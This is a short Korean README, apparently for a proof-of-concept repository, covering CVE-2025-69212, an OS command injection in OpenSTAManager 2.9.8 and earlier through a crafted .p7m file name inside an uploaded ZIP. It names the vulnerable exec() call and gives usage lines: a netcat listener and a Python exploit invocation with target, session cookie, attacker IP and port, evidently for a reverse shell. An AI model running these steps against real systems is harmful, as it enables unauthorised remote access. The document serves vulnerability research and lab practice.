CVE-2025-69212 — OpenSTAManager P7M 명령 주입 PoC

OpenSTAManager <= 2.9.8 — 악성 .p7m 파일명을 통한 ZIP 업로드 OS 명령 주입

파일: src/Util/XML.php:100 — exec()에서 비정화된 $file
벡터: /plugins/importFE_ZIP/actions.php → ZIP → .p7m 파일명 → exec("openssl smime ... -in \"$file\" ...")

사용법

# 리스너
nc -lvnp 4444

# 익스플로잇
python3 CVE-2025-69212.py http://target.htb YOUR_PHPSESSID 10.10.14.X 4444

참고 자료

• https://github.com/advisories/GHSA-25fp-8w8p-mx36
• https://nvd.nist.gov/vuln/detail/CVE-2025-69212

CVE-2025-69212-PoC